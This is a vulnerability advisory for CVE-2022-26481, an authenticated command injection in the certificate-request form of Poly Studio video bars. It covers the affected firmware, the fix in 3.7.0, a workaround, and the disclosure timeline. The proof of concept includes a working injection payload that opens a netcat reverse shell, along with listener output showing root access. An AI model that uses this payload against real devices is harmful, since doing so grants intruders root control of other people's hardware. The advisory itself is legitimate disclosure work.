Authenticated Command Injection in Poly Studio

Title

Authenticated Command Injection

Product

Poly Studio X30, Studio X50, Studio X70, G7500

Vulnerable Version

3.4.0-292042, 3.5.0-344025, 3.6.0

Fixed Version

3.7.0 or higher

CVE Number

CVE-2022-26481

Impact

critical

Homepage

https://www.poly.com

Found

14.07.2021

By

Johannes Kruchem (Office Vienna) | SEC Consult Vulnerability Lab

Multiple Poly devices are prone to an authenticated OS Command Injection vulnerability. The commands are executed with root privileges.

Vendor description

"Experience full board-room-quality audio, and knock-your-socks-off video, for mid-sized rooms. The Poly Studio X50 all-in-one video bar is radically simple to use with support for leading cloud video services built right in—no PC or Mac required. Voices are crisp and clear. Video feels natural. And wireless content sharing lets users collaborate from their devices without cables or pucks." 

https://www.poly.com/us/en/products/video-conferencing/studio/studio-x50

Business recommendation

The vendor provides a patch which should be installed immediately. 

Vulnerability overview/description

1) Authenticated Command Injection with Elevated Privileges (CVE-2022-26481) 

An authenticated Command Injection vulnerability exists in the web interface when creating a certificate. An attacker is able to execute commands with root privileges. 

Proof of concept

1) Authenticated Command Injection with Elevated Privileges (CVE-2022-26481) 

When being authenticated: 

1. In the system web interface, go to Security > Certificates. 

2. Select Create Certificate Signing Request (CSR). 

3. In the Certificate Details form, complete the following fields: 

Common Name (CN): $(busybox nc 10.0.0.1 8888 -e /system/bin/sh) 

(steps taken from

The previously started nc listener receives a connection from the camera as root: 

$ nc -lvp 8888 
connect to [10.0.0.1] from (UNKNOWN) [10.0.0.2] 
$ pwd 
/oem/polycom/bin 
$ whoami 
root 

Vulnerable / tested versions

At least the following firmware versions of Poly Studio X30, Studio X50, Studio X70 and G7500 are affected: 

  • 3.4.0 
  • 3.5.0 
  • 3.6.0 

Vendor contact timeline

2021-07-14 Contacting vendor through PSIRT email.
2021-07-15 Vendor sent PGP key.
2021-07-16 Advisory was sent to the vendor.
2021-07 to 2022-03 Further coordination with multiple emails and meetings.
2022-03-18 Vendor provides draft advisory.
2022-03 - 2022-06 Patch already available, waiting for vendor advisory release.
2022-06-01 Coordinated release of security advisory.

Solution

Update to firmware version 3.7.0 or higher. 

The firmware can be downloaded from the vendor's support page: 

https://www.poly.com/us/en/support/products

This issue has been documented in the vendor's security advisory PLYTV21-09:
https://www.poly.com/content/dam/www/products/support/global/security/2022/PLYTV21-09_Studio-X50-Improper-Neutralization-of-Special-Elements-used-in-an-OS-Command.pdf

Workaround

In order to minimize the risk of exploitation, set a strong password for the web interface and restrict network access to the device. 

Advisory URL

https://sec-consult.com/vulnerability-lab/

EOF Johannes Kruchem / @2022 

Interested to work with the experts of SEC Consult? 

Send us your application

Interested in improving your cyber security with the experts of SEC Consult? 

Contact our local offices

Back